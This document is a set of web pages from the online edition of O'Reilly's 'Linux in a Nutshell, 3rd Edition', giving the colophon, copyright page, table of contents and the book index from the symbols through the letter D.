The animal featured on the cover of Linux in a Nutshell is an Arabian horse. Known for its grace and intelligence, the Arabian is one of the oldest breeds of horse, with evidence of its existence dating back 5000 years. The Arabian was very instrumental as an ancestor to other popular breeds, most notably the Thoroughbred in the 17th and 18th centuries. Possibly one of the more characteristic horse breeds, the typical Arabian has large expressive eyes and nostrils, small ears, and a short, sturdy back. Its stamina suits it particularly well for endurance riding, where the breed dominates the sport. Its wonderful temperament makes the Arabian an all-around favorite riding horse in North America, though it also can be found in more specialized competitions such as dressage, jumping, and reining.

Edie Freedman designed the cover of this book, using a 19th-century engraving from the Dover Pictorial Archive. Emma Colby produced the cover layout using QuarkXPress 4.1 with ITC Garamond font from Adobe. Alicia Cech and David Futato designed the inside layout, based on a series design by Edie Freedman and Nancy Priest. The print version of this book was created by translating the SGML source into a set of gtroff macros using a filter developed at O'Reilly & Associates by Norman Walsh. Steve Talbott designed and wrote the underlying macro set on the basis of the GNU troff -gs macros; Lenny Muellner adapted them to SGML and implemented the book design. The GNU groff text formatter version 1.09 was used to generate PostScript output. The text and heading fonts are ITC Garamond and MonoType.

Norma Emory copyedited Linux in a Nutshell, Third Edition. Kristine Simmons proofread the text. Claire Cloutier, Melanie Wang, and Maureen Dempsey provided quality control reviews. Judy Hoer wrote the index, and Robert Romano and Rhon Porter created the illustrations in Adobe Photoshop 4.0 and Macromedia Freehand 7.0. Interior composition was done by David Bell-Feins, James Carter, and Molly Shangraw.

Previous | Home
Index | Book Index
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


(Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

Copyright © 2000, 1999, 1997 O'Reilly & Associates, Inc. All rights reserved.

Printed in the United States of America.

Published by O'Reilly & Associates, Inc., 101 Morris Street, Sebastopol, CA 95472.

The O'Reilly logo is a registered trademark of O'Reilly & Associates, Inc. Many of the designations used by manufacturers and sellers to distinguish their products are claimed as trademarks. Where those designations appear in this book, and O'Reilly & Associates, Inc. was aware of a trademark claim, the designations have been printed in caps or initial caps. The use of the horse image in association with Linux is a trademark of O'Reilly & Associates, Inc.

While every precaution has been taken in the preparation of this book, the publisher assumes no responsibility for errors or omissions, or for damages resulting from the use of the information contained herein.

Previous | Home | Next
Table of Contents | Book Index | 0. Preface
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Linux in a Nutshell, 3rd Edition

By Ellen Siever, Stephen Spainhour, Stephen Figgins and Jessica P. Hekman
ISBN 0-596-00025-1
Third Edition, published August 2000
(See the catalog page for this book.)

Search the text of Linux in a Nutshell, 3rd Edition.

Table of Contents

Copyright Page
Preface
Chapter 1: Introduction
Chapter 2: System and Network Administration Overview
Chapter 3: Linux Commands
Chapter 4: Boot Methods
Chapter 5: Red Hat and Debian Package Managers
Chapter 6: The Linux Shells: An Overview
Chapter 7: bash: The Bourne-Again Shell
Chapter 8: csh and tcsh
Chapter 9: Pattern Matching
Chapter 10: The Emacs Editor
Chapter 11: The vi Editor
Chapter 12: The sed Editor
Chapter 13: The gawk Scripting Language
Chapter 14: CVS and RCS
Chapter 15: GNOME
Chapter 16: KDE
Chapter 17: An Alternative Window Manager: fvwm2
Index
Colophon

Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Index: Linux in a Nutshell (Linux in a Nutshell)

Linux in a NutshellSearch this book

Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Previous | Home | Next
17. An Alternative Window Manager: fvwm2 | Book Index | Colophon
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: 0 (Linux in a Nutshell)

Linux in a NutshellSearch this book

Index: 0

& command (ex): 11.13. Alphabetical Summary of ex Commands
< > command (ex): 11.13. Alphabetical Summary of ex Commands
* (asterisk) bash shell metacharacter: 7.3.2. Filename Metacharacters
\ (backslash) character escapes: 9.3. Metacharacters
! (bang)
bash shell metacharacter: 7.3.2. Filename Metacharacters
ex command: 11.13. Alphabetical Summary of ex Commands
^ (circumflex) pattern-matching metacharacter: 9.3. Metacharacters
: (colon)
bash shell command: 7.7. Built-in Commands
csh/tcsh command: 8.9. Built-in csh and tcsh Commands
sed command: 12.5. Alphabetical Summary of sed Commands
$ (dollar sign) pattern-matching metacharacter: 9.3. Metacharacters
. (dot)
bash shell command: 7.7. Built-in Commands
pattern-matching metacharacter: 9.3. Metacharacters
= (equal sign)
ex command: 11.13. Alphabetical Summary of ex Commands
gawk assignment: 13.6. Variable and Array Assignments
sed command: 12.5. Alphabetical Summary of sed Commands
# (hash mark)
bash shell command: 7.7. Built-in Commands
for comments: 12.5. Alphabetical Summary of sed Commands
csh/tcsh command: 8.9. Built-in csh and tcsh Commands
#! command
bash shell command: 7.7. Built-in Commands
csh/tcsh command: 8.9. Built-in csh and tcsh Commands
- (hyphen) pattern-matching metacharacter: 9.3. Metacharacters
+ (plus sign) pattern-matching metacharacter: 9.3. Metacharacters
? (question mark)
bash shell metacharacter: 7.3.2. Filename Metacharacters
pattern-matching metacharacter: 9.3. Metacharacters
~ (tilde) command (ex): 11.13. Alphabetical Summary of ex Commands
| pattern-matching metacharacter: 9.3. Metacharacters

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: A (Linux in a Nutshell)

Linux in a NutshellSearch this book

Index: A

a command (sed): 12.5. Alphabetical Summary of sed Commands
abbrev command (ex): 11.13. Alphabetical Summary of ex Commands
abbreviation commands, Emacs: 10.3.9. Word Abbreviation Commands
accelerators (see shortcuts)
access mode (see permissions, file)
ad|add commands (CVS): 14.4.7.1. add
addresses
IP: 2.3.1. IP Addresses
line, ex editor: 11.12.1. Options
pattern, sed editor: 12.3.1. Pattern Addressing
addsuffix variable (csh/tcsh): 8.4.3. Predefined Shell Variables
AddToMenu variable (fvwm2): 17.14. Customizing Menus
adm|admin commands (CVS)
-o option, use with caution: 14.3.8.1. admin
specifying ranges: 14.3.8.1. admin
adm|cdadmin commands (CVS): 14.3.8.1. admin
administrative files, CVS: 14.3.3. Repository Structure
variables: 14.3.3.1. The CVSROOT directory
agetty command: 3.1. Alphabetical Summary of Commands
alias command (bash): 7.7. Built-in Commands
alias command (csh/tcsh): 8.9. Built-in csh and tcsh Commands
alias modules: 14.3.3.9. The modules file
aliases, special tcsh: 8.6.7. Special Aliases in tcsh
aligned panel, GNOME desktop: 15.2.1. Additional Panels
alignment, Emacs commands for: 10.3.14. Centering Commands
alloc command (csh/tcsh): 8.9. Built-in csh and tcsh Commands
ampersand modules: 14.3.3.9. The modules file
animation settings
Enlightenment window manager: 15.4.9.5. Special FX
GNOME panel: 15.4.2.1. Animation
Sawfish window manager: 15.4.8.1. Appearance
ann|annotate commands (CVS): 14.4.7.2. annotate
apmd command: 3.1. Alphabetical Summary of Commands
apmd_proxy command: 3.1. Alphabetical Summary of Commands
append command (ex): 11.13. Alphabetical Summary of ex Commands
applets
Desk Guide: 15.1. Desktop Overview
15.4.8.7. Workspaces
GNOME panel: 15.2. The Panel
Tasklist: 15.1. Desktop Overview
application launchers, adding to GNOME panel: 15.2.2. Adding an Application Launcher to the Panel
applications
GNOME user interface for: 15.4.7.1. Applications
starting on different desktops (fvwm2): 17.11. Starting Windows on Different Desktops and Pages
Applications modules, KDE: 16.3.1. Applications
apt-cdrom command (Debian): 5.2.5. Debian Package Manager Command Summary
apt-get command (Debian): 5.2. The Debian Package Manager
5.2.5. Debian Package Manager Command Summary
ar command: 3.1. Alphabetical Summary of Commands
arch command: 3.1. Alphabetical Summary of Commands
architecture type: 3.1. Alphabetical Summary of Commands
archive files: 3.1. Alphabetical Summary of Commands
3.1. Alphabetical Summary of Commands
3.1. Alphabetical Summary of Commands
archives, CVS (see CVS utility, repositories)
args command (ex): 11.13. Alphabetical Summary of ex Commands
argv variable (csh/tcsh): 8.4.3. Predefined Shell Variables
arithmetic
bash arithmetic expressions: 7.5. Arithmetic Expressions
bc language: 3.1. Alphabetical Summary of Commands
arithmetic expressions: 7.4.1. Variable Substitution
arp command (TCP/IP): 3.1. Alphabetical Summary of Commands
arrays, gawk and: 13.6. Variable and Array Assignments
as command: 3.1. Alphabetical Summary of Commands
asterisk (*) bash shell metacharacter: 7.3.2. Filename Metacharacters
at command: 3.1. Alphabetical Summary of Commands
atan2 command (gawk): 13.8. Alphabetical Summary of Commands
atq commands: 3.1. Alphabetical Summary of Commands
atrm command: 3.1. Alphabetical Summary of Commands
attributes, file: 3.1. Alphabetical Summary of Commands
3.1. Alphabetical Summary of Commands
$Author keyword (RCS): 14.8.1.1. Keywords
autocorrect variable (csh/tcsh): 8.4.3. Predefined Shell Variables
autoexpand variable (csh/tcsh): 8.4.3. Predefined Shell Variables
autolist variable (csh/tcsh): 8.4.3. Predefined Shell Variables
autologout variable (csh/tcsh): 8.4.3. Predefined Shell Variables
autoraising focus window, fvwm2: 17.7. Raising the Focus Window Automatically
awk program: 9.2. Metacharacters, Listed by Linux Program
9.4. Examples of Searching
13.1. Conceptual Overview
(see also gawk scripting language)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: B (Linux in a Nutshell)

Linux in a NutshellSearch this book

Index: B

b command (sed): 12.5. Alphabetical Summary of sed Commands
background jobs: 7.7. Built-in Commands
8.8. Job Control
backslash (\) character escapes: 9.3. Metacharacters
backslash_quote variable (csh/tcsh): 8.4.3. Predefined Shell Variables
Backspace key
bash and: 7.3.3. Command-line Editing
Emacs and: 10.2. Typical Problems
backups (see archive files)
badblocks command: 3.1. Alphabetical Summary of Commands
banner command: 3.1. Alphabetical Summary of Commands
Base directory (CVS): 14.4.4.3. CVS directories
basename command: 3.1. Alphabetical Summary of Commands
Baserev file (CVS): 14.4.4.3. CVS directories
bash command: 3.1. Alphabetical Summary of Commands
bash shell: 1.4. What This Book Offers
6.4. Differing Features
7. bash: The Bourne-Again Shell
built-in commands: 7.7. Built-in Commands
batch command: 3.1. Alphabetical Summary of Commands
batch execution at specified date/time: 3.1. Alphabetical Summary of Commands
bc language: 3.1. Alphabetical Summary of Commands
bdflush command: 3.1. Alphabetical Summary of Commands
Berkeley Software Distribution (BSD): 1.3. Commands on Linux
1.5. Sources and Licenses
bg command (bash): 7.7. Built-in Commands
bg command (csh/tcsh): 8.9. Built-in csh and tcsh Commands
biff command: 3.1. Alphabetical Summary of Commands
BIND (Berkeley Internet Name Domain): 2.3.3. Name Service
bind command (bash): 7.7. Built-in Commands
bindkey command (tcsh): 8.9. Built-in csh and tcsh Commands
/bin/echo command (see echo command)
bison command: 3.1. Alphabetical Summary of Commands
blocks, searching for bad: 3.1. Alphabetical Summary of Commands
blocksize, changing: 3.1. Alphabetical Summary of Commands
boot loaders: 4.1. The Boot Process
boot methods: 4. Boot Methods
boot parameters: 4.3. Loadlin: Booting from MS-DOS
4.5. Boot-time Kernel Options
boot sectors: 4.1. The Boot Process
bootpd command (TCP/IP): 3.1. Alphabetical Summary of Commands
bootpgw command: 3.1. Alphabetical Summary of Commands
bootptest command (TCP/IP): 3.1. Alphabetical Summary of Commands
border properties, KDE: 16.3.2.2. Borders
brackets (see [ ])
branches, revision control: 14.1.4. Branching
admin command and: 14.3.8.1. admin
log command and: 14.4.7.12. log
branching commands, sed: 12.4.5. Branching Commands
break command (bash): 7.7. Built-in Commands
break command (csh/tcsh): 8.9. Built-in csh and tcsh Commands
break command (gawk): 13.8. Alphabetical Summary of Commands
breaking text lines: 3.1. Alphabetical Summary of Commands
breaksw command (csh/tcsh): 8.9. Built-in csh and tcsh Commands
BSD (Berkeley Software Distribution): 1.3. Commands on Linux
1.5. Sources and Licenses
buffers
Emacs commands for: 10.3.10. Buffer Manipulation Commands
writing to disk: 3.1. Alphabetical Summary of Commands
built-in command (bash): 7.7. Built-in Commands
built-ins command (tcsh): 8.9. Built-in csh and tcsh Commands
bunzip2 command: 3.1. Alphabetical Summary of Commands
button bar, fvwm2: 17.5. A Quick Tour of the fvwm Environment
multiple desktops, specifying: 17.9. Having Multiple Desktops
button settings, GNOME panel: 15.4.2.2. Buttons
bye command (tcsh): 8.9. Built-in csh and tcsh Commands
bzcat command: 3.1. Alphabetical Summary of Commands
bzip2 command: 3.1. Alphabetical Summary of Commands
bzip2recover command: 3.1. Alphabetical Summary of Commands

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: C (Linux in a Nutshell)

Linux in a NutshellSearch this book

Index: C

C- commands, Emacs: 10.4.1. Control-Key Sequences
C-s command (Emacs): 10.2. Typical Problems
C++ command (see g++ command)
c command (sed): 12.5. Alphabetical Summary of sed Commands
C++ programming language: 3.1. Alphabetical Summary of Commands
debugging: 3.1. Alphabetical Summary of Commands
cal command: 3.1. Alphabetical Summary of Commands
calendar: 3.1. Alphabetical Summary of Commands
capitalization (see case)
capplets, GNOME: 15.4. The GNOME Control Center
cardctl command: 3.1. Alphabetical Summary of Commands
cardmgr command: 3.1. Alphabetical Summary of Commands
cascading menus, fvwm2: 17.5. A Quick Tour of the fvwm Environment
case (capitalization)
converting: 3.1. Alphabetical Summary of Commands
Emacs commands for: 10.3.7. Capitalization Commands
case command (csh/tcsh): 8.9. Built-in csh and tcsh Commands
cat command: 3.1. Alphabetical Summary of Commands
cc command (see gcc compiler)
cd command (bash): 7.7. Built-in Commands
cd command (csh/tcsh): 8.9. Built-in csh and tcsh Commands
cd command (ex): 11.13. Alphabetical Summary of ex Commands
centering, Emacs commands for: 10.3.14. Centering Commands
cfdisk command: 3.1. Alphabetical Summary of Commands
chains (rule sets): 2.4. Overview of Firewalls and Masquerading
ipchains and: 3.1. Alphabetical Summary of Commands
iptables and: 3.1. Alphabetical Summary of Commands
change command (ex): 11.13. Alphabetical Summary of ex Commands
characters
counting in file: 3.1. Alphabetical Summary of Commands
keyboard repeat speed: 3.1. Alphabetical Summary of Commands
metacharacters (see metacharacters)
special (see special characters)
special Emacs shell mode: 10.3.12. Special Shell Mode Characters
translating between strings: 3.1. Alphabetical Summary of Commands
underlining: 3.1. Alphabetical Summary of Commands
chattr command: 3.1. Alphabetical Summary of Commands
chdir command (csh/tcsh): 8.9. Built-in csh and tcsh Commands
checking spelling: 3.1. Alphabetical Summary of Commands
Checkin.prog file (CVS): 14.4.4.3. CVS directories
checkout command (CVS): 14.4.7.3. checkout
checkoutlist file (CVS): 14.3.3.2. The checkoutlist file
checksum, calculating: 3.1. Alphabetical Summary of Commands
chfn command (NFS/NIS): 3.1. Alphabetical Summary of Commands
chgrp command: 3.1. Alphabetical Summary of Commands
chmod command: 3.1. Alphabetical Summary of Commands
chown command: 3.1. Alphabetical Summary of Commands
chpasswd command: 3.1. Alphabetical Summary of Commands
chroot command: 3.1. Alphabetical Summary of Commands
chsh command: 3.1. Alphabetical Summary of Commands
ci command (CVS) (see com|commit commands (CVS))
ci command (RCS): 14.7. Basic RCS Operations
14.9. Alphabetical Summary of RCS Commands
circumflex (^) pattern-matching metacharacter: 9.3. Metacharacters
cksum command: 3.1. Alphabetical Summary of Commands
classifying files by type: 3.1. Alphabetical Summary of Commands
clear command: 3.1. Alphabetical Summary of Commands
ClickToFocus policy (fvwm2): 17.6. Specifying Click-to-Type Focus
autoraise feature and: 17.7. Raising the Focus Window Automatically
client configuration files: 14.4.2. Configuring CVS
clocks: 2.1.1. Clocks
close command (gawk): 13.8. Alphabetical Summary of Commands
cmp command: 3.1. Alphabetical Summary of Commands
co command (CVS) (see checkout command (CVS))
co command (RCS): 14.7. Basic RCS Operations
14.9. Alphabetical Summary of RCS Commands
code snapshots, importing: 14.3.5.1. Importing code snapshots
col command: 3.1. Alphabetical Summary of Commands
colcrt command: 3.1. Alphabetical Summary of Commands
color schemes, KDE: 16.3.2.3. Colors
color variable (csh/tcsh): 8.4.3. Predefined Shell Variables
colrm command: 3.1. Alphabetical Summary of Commands
column command: 3.1. Alphabetical Summary of Commands
columns
deleting: 3.1. Alphabetical Summary of Commands
3.1. Alphabetical Summary of Commands
formatting input into: 3.1. Alphabetical Summary of Commands
merging text lines into: 3.1. Alphabetical Summary of Commands
com|commit commands (CVS): 14.4.7.4. commit
comm command: 3.1. Alphabetical Summary of Commands
command command (bash): 7.7. Built-in Commands
command history (see history, command)
command line
ex editor options: 11.3. ex Command-Line Options
gawk language syntax: 13.2. Command-Line Syntax
processing arguments on: 7.7. Built-in Commands
sed editor syntax: 12.2. Command-Line Syntax
vi editor options: 11.2. vi Command-Line Options
command-line editing
bash commands for: 7.3.3. Command-line Editing
csh/tcsh commands for: 8.7.5. Command-Line Editing with tcsh
command mode (vi): 11.1.1. Command Mode
list of keys: 11.11. Alphabetical List of Keys in Command Mode
command substitution (csh/tcsh): 8.6.1. Command Substitution
command variable (csh/tcsh): 8.4.3. Predefined Shell Variables
commands
aliases for: 7.7. Built-in Commands
bash shell: 7.3.5. Command Forms
7.7. Built-in Commands
completion (see completion)
csh and tcsh: 8.3.4. Command Forms
8.9. Built-in csh and tcsh Commands
CVS administrator: 14.3.8. Administrator Commands
CVS user: 14.4.7. User Commands
Debian Package Manager: 5.2.5. Debian Package Manager Command Summary
Emacs: 10.2.3. Absolutely Essential Commands
ex editor: 11.12. Syntax of ex Commands
executing
after hangup: 3.1. Alphabetical Summary of Commands
from standard input: 3.1. Alphabetical Summary of Commands
on remote hosts: 3.1. Alphabetical Summary of Commands
FTP: 3.1. Alphabetical Summary of Commands
gawk language: 13.7. Group Listing of gawk Commands
gdb (GNU debugger): 3.1. Alphabetical Summary of Commands
Linux: 1.3. Commands on Linux
list of basic: 1.6. Beginner's Guide
mail: 3.1. Alphabetical Summary of Commands
NIS: 3.1. Alphabetical Summary of Commands
nslookup utility: 3.1. Alphabetical Summary of Commands
searching for: 7.7. Built-in Commands
sed editor: 12.3. Syntax of sed Commands
shell: 6.3. Common Features
system administration: 2.1. Common Commands
TCP/IP administration: 2.2.1. TCP/IP Administration
telnet: 3.1. Alphabetical Summary of Commands
TFTP: 3.1. Alphabetical Summary of Commands
troubleshooting TCP/IP: 2.3.5. Troubleshooting TCP/IP
vi editor syntax: 11.1.3. Syntax of vi Commands
commitinfo file (CVS): 14.3.3.3. The commitinfo file
14.3.3.3. The commitinfo file
(see also loginfo file)
communication commands: 1.6.1. Communication
comparing files: 3.1. Alphabetical Summary of Commands
3.1. Alphabetical Summary of Commands
3.1. Alphabetical Summary of Commands
3.1. Alphabetical Summary of Commands
3.1. Alphabetical Summary of Commands
comparison commands: 1.6.2. Comparisons
compiling C source files: 3.1. Alphabetical Summary of Commands
complete command (tcsh): 8.9. Built-in csh and tcsh Commands
complete variable (csh/tcsh): 8.4.3. Predefined Shell Variables
completion
bash commands for: 7.3.3. Command-line Editing
csh/tcsh commands for: 8.7.1. Completion
comp.os.linux.admin: 0.1.3. LinuxUsenet Newsgroups
comp.os.linux.announce: 0.1.3. LinuxUsenet Newsgroups
comp.os.linux.development: 0.1.3. LinuxUsenet Newsgroups
comp.os.linux.help: 0.1.3. LinuxUsenet Newsgroups
comp.os.linux.misc: 0.1.3. LinuxUsenet Newsgroups
comp.os.linux.networking: 0.1.3. LinuxUsenet Newsgroups
compress command: 3.1. Alphabetical Summary of Commands
3.1. Alphabetical Summary of Commands
compression, file
bzip2 command: 3.1. Alphabetical Summary of Commands
changing .Z files to .gz: 3.1. Alphabetical Summary of Commands
compress command: 3.1. Alphabetical Summary of Commands
gzexe command: 3.1. Alphabetical Summary of Commands
uncompress command: 3.1. Alphabetical Summary of Commands
zcat command: 3.1. Alphabetical Summary of Commands
$COMSPEC environment variable: 14.4.2. Configuring CVS
Concurrent Versions System (see CVS utility)
conditional expressions: 7.4.1. Variable Substitution
config file (CVS): 14.3.3.4. The config file
configuration applications, GNOME: 15.4. The GNOME Control Center
configuring TCP/IP: 2.3.4.1. ifconfig
conflicts and merging, revision control: 14.1.2. Conflicts and Merging
contents, file (see files)
continue command (bash): 7.7. Built-in Commands
continue command (csh/tcsh): 8.9. Built-in csh and tcsh Commands
continue command (gawk): 13.8. Alphabetical Summary of Commands
Control Center, GNOME (see GNOME, Control Center)
Control Center, KDE (see KDE, Control Center)
converting .Z files to .gz: 3.1. Alphabetical Summary of Commands
Cookies tab, KDE Control Center: 16.3.1.3. Web browser
coprocesses: 7.3.7. Coprocesses
copy command (ex): 11.13. Alphabetical Summary of ex Commands
copying files: 3.1. Alphabetical Summary of Commands
3.1. Alphabetical Summary of Commands
3.1. Alphabetical Summary of Commands
3.1. Alphabetical Summary of Commands
file archives: 3.1. Alphabetical Summary of Commands
copying text, vi commands for: 11.5.2. Changing and Deleting Text
copyleft (see GPL)
CORBA and GNOME: 15. GNOME
correct variable (csh/tcsh): 8.4.3. Predefined Shell Variables
corrupted files: 3.1. Alphabetical Summary of Commands
cos command (gawk): 13.8. Alphabetical Summary of Commands
counting text file elements: 3.1. Alphabetical Summary of Commands
cp command: 3.1. Alphabetical Summary of Commands
cpio command: 3.1. Alphabetical Summary of Commands
cpp preprocessor: 3.1. Alphabetical Summary of Commands
imake interface: 3.1. Alphabetical Summary of Commands
CPU load (see performance)
CRC (cyclic redundancy check): 3.1. Alphabetical Summary of Commands
cron command: 3.1. Alphabetical Summary of Commands
crontab command: 3.1. Alphabetical Summary of Commands
csh shell: 3.1. Alphabetical Summary of Commands
6.4. Differing Features
8. csh and tcsh
sample .cshrc file: 8.4.5. Sample .cshrc File
csplit command: 3.1. Alphabetical Summary of Commands
ctags command: 3.1. Alphabetical Summary of Commands
current
time and date: 3.1. Alphabetical Summary of Commands
working directory: 3.1. Alphabetical Summary of Commands
cursor movement
Emacs commands for: 10.3.2. Cursor Movement Commands
vi commands for: 11.4. Movement Commands
CursorMove variable (fvwm2): 17.13.2. Moving the Pointer with Keystrokes
customizing Linux session: 6.1.2. Customization of Your Linux Session
cut command: 3.1. Alphabetical Summary of Commands
cutting (see yanking and pasting)
CVS utility: 1.4. What This Book Offers
14. CVS and RCS
administrator commands: 14.3.8. Administrator Commands
administrator reference: 14.3. CVS Administrator Reference
basic concepts: 14.1. Basic Concepts
branches/forks: 14.1.4. Branching
client configuration files: 14.4.2. Configuring CVS
client options, common: 14.4.6. Common Client Options
command format: 14.2. The CVS Utility
confusing aspects of: 14.2.3. Gotchas
date formats: 14.4.6.1. Date formats
environment variables: 14.4.2. Configuring CVS
global options
client: 14.4.5. Client Global Options
common: 14.2.2. Common Global Options
server: 14.3.7. Global Server Option
importing
code snapshots: 14.3.5.1. Importing code snapshots
entire projects: 14.3.4.2. Bulk importing
from PVCS: 14.3.5.4. Importing from PVCS
from RCS: 14.3.5.2. Importing from RCS
from SCCS: 14.3.5.3. Importing from SCCS
keyword substitutions: 14.4.6.2. Keyword substitutions
locking model: 14.1.1. Locking and Merging
logical modules: 14.3.3.9. The modules file
merging model: 14.1.1. Locking and Merging
repositories: 14.1. Basic Concepts
changing directories/files: 14.3.4. Hacking the Repository
configuration information: 14.3.3.4. The config file
creating: 14.3.1. Creating a Repository
initializing: 14.3.8.2. init
notification of changes to: 14.3.3.8. The loginfo file
structure of: 14.3.3. Repository Structure
repository locators: 14.3.3.11. The passwd file
14.3.6. Using an Interim Shared Sandbox
14.4.1. Repository Locators
sandboxes: 14.1. Basic Concepts
creating: 14.4.3. Creating a Sandbox
directories/files in: 14.4.4. Sandbox Structure
interim shared: 14.3.6. Using an Interim Shared Sandbox
release -d command, use with caution: 14.4.7.16. release
security issues: 14.3.2. Security Issues
specifying ranges: 14.3.8.1. admin
tracking files: 14.1.3. Tagging
user commands: 14.4.7. User Commands
user reference: 14.4. CVS User Reference
$CVS_CLIENT_LOG environment variable: 14.4.2. Configuring CVS
$CVS_CLIENT_PORT environment variable: 14.4.2. Configuring CVS
$CVSEDITOR environment variable: 14.4.2. Configuring CVS
cvsignore administrative file: 14.3.3.5. The cvsignore file
.cvsignore configuration file: 14.4.2. Configuring CVS
$CVSIGNORE environment variable: 14.4.2. Configuring CVS
$CVS_IGNORE_REMOTE_ROOT environment variable: 14.4.2. Configuring CVS
.cvspass file: 14.4.2. Configuring CVS
$CVS_PASSFILE environment variable: 14.4.2. Configuring CVS
.cvsrc file: 14.4.2. Configuring CVS
$CVS_RCMD_PORT environment variable: 14.4.2. Configuring CVS
$CVSREAD environment variable: 14.4.2. Configuring CVS
CVSROOT directory: 14.3.3.1. The CVSROOT directory
administrative files in: 14.3.3.1. The CVSROOT directory
$CVSROOT environment variable: 14.4.2. Configuring CVS
$CVS_RSH environment variable: 14.4.2. Configuring CVS
$CVS_SERVER environment variable: 14.4.2. Configuring CVS
$CVS_SERVER_SLEEP environment variable: 14.4.2. Configuring CVS
$CVSUMASK environment variable: 14.4.2. Configuring CVS
cvswrappers administrative file: 14.3.3.6. The cvswrappers file
.cvswrappers configuration file: 14.4.2. Configuring CVS
$CVSWRAPPERS environment variable: 14.4.2. Configuring CVS
cwd variable (csh/tcsh): 8.4.3. Predefined Shell Variables
cyclic redundancy check (CRC): 3.1. Alphabetical Summary of Commands

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: D (Linux in a Nutshell)

Linux in a NutshellSearch this book

Index: D

d command (sed): 12.5. Alphabetical Summary of sed Commands
daemons: 2.2. Overview of Networking
commands for: 2.1.2. Daemons
NFS: 2.5.2. Daemons
routing: 2.3.2.2. Routing daemons
data transmission, verifying: 3.1. Alphabetical Summary of Commands
date (see time and date)
date command: 3.1. Alphabetical Summary of Commands
$Date keyword (RCS): 14.8.1.1. Keywords
dbm files: 3.1. Alphabetical Summary of Commands
dd command: 3.1. Alphabetical Summary of Commands
Debian Package Manager
commands: 5.2.5. Debian Package Manager Command Summary
files: 5.2.1. Files
package flags: 5.2.3. Package Flags
package/selection states: 5.2.2. Package States and Selection States
packaging tools: 5.2. The Debian Package Manager
shell/Perl scripts: 5.2.4. Scripts
debugfs command: 3.1. Alphabetical Summary of Commands
debugging
ext2 file system: 3.1. Alphabetical Summary of Commands
gdb (GNU debugger): 3.1. Alphabetical Summary of Commands
declare command (bash): 7.7. Built-in Commands
declaring variables/arrays (gawk): 13.6. Variable and Array Assignments
default command (csh/tcsh): 8.9. Built-in csh and tcsh Commands
Del key
bash and: 7.3.3. Command-line Editing
Emacs and: 10.2. Typical Problems
delete command (CVS) (see remove command (CVS))
delete command (ex): 11.13. Alphabetical Summary of ex Commands
delete command (gawk): 13.8. Alphabetical Summary of Commands
deleting
columns: 3.1. Alphabetical Summary of Commands
3.1. Alphabetical Summary of Commands
directories: 3.1. Alphabetical Summary of Commands
duplicate text lines: 3.1. Alphabetical Summary of Commands
Emacs commands for: 10.3.3. Deletion Commands
files: 3.1. Alphabetical Summary of Commands
print jobs from queue: 3.1. Alphabetical Summary of Commands
queued jobs: 3.1. Alphabetical Summary of Commands
rotating log files: 3.1. Alphabetical Summary of Commands
vi commands for: 11.5.2. Changing and Deleting Text
dependency file: 3.1. Alphabetical Summary of Commands
depmod command: 3.1. Alphabetical Summary of Commands
description file (see make utility)
Desk Guide applet: 15.1. Desktop Overview
Desk variable (fvwm2): 17.13.1. Keyboard Shortcuts to Navigate the Desktop
desktop background
Enlightenment window manager settings: 15.4.9.6. Backgrounds
GNOME settings: 15.4.1.1. Background
KDE settings: 16.3.2.1. Background
desktop customizations: 1.3. Commands on Linux
desktop environments
GNOME: 15. GNOME
KDE: 16. KDE
Desktop folder, KDE: 16.1.4. The Desktop Folder and kdelnk Files
desktop icons
adding to GNOME desktop: 15.1.1. Adding Desktop Icons
displaying on KDE desktop: 16.3.2.5. Desktop icons
movement/placement on GNOME panel: 15.4.2.3. Panel objects
desktop links
adding applications to KDE panel: 16.2.3. Adding an Application Link to the Panel
adding to KDE desktop: 16.1.3. Adding a Link to the Desktop
configuring for KDE: 16.1.4. The Desktop Folder and kdelnk Files
setting colors for: 16.3.1.2. File manager
Desktop modules, KDE: 16.3.2. Desktop
desktop pager, KDE: 16.2.1. The Desktop Pager and Window List
desktop tools, fvwm2: 17.5. A Quick Tour of the fvwm Environment
desktops, multiple (fvwm2): 17.9. Having Multiple Desktops
/dev/initrd file: 4.6. initrd: Using a RAM Disk
dextract variable (csh/tcsh): 8.4.3. Predefined Shell Variables
df command: 3.1. Alphabetical Summary of Commands
dialogs, GNOME user interface for: 15.4.7.2. Dialogs
dictionary, spelling: 3.1. Alphabetical Summary of Commands
di|dif commands (CVS) (see diff command (CVS))
diff command: 3.1. Alphabetical Summary of Commands
diff command (CVS): 14.4.7.5. diff
dip command: 3.1. Alphabetical Summary of Commands
dir variable (csh/tcsh): 8.4.3. Predefined Shell Variables
directives, cpp: 3.1. Alphabetical Summary of Commands
directories
changing: 7.7. Built-in Commands
copying files into: 3.1. Alphabetical Summary of Commands
creating: 3.1. Alphabetical Summary of Commands
current working: 3.1. Alphabetical Summary of Commands
deleting: 3.1. Alphabetical Summary of Commands
listing contents of: 3.1. Alphabetical Summary of Commands
lost+found: 3.1. Alphabetical Summary of Commands
printing names of: 3.1. Alphabetical Summary of Commands
renaming: 3.1. Alphabetical Summary of Commands
root: 3.1. Alphabetical Summary of Commands
running all scripts in: 3.1. Alphabetical Summary of Commands
stacking: 7.7. Built-in Commands
dirname command: 3.1. Alphabetical Summary of Commands
dirs command (bash): 7.7. Built-in Commands
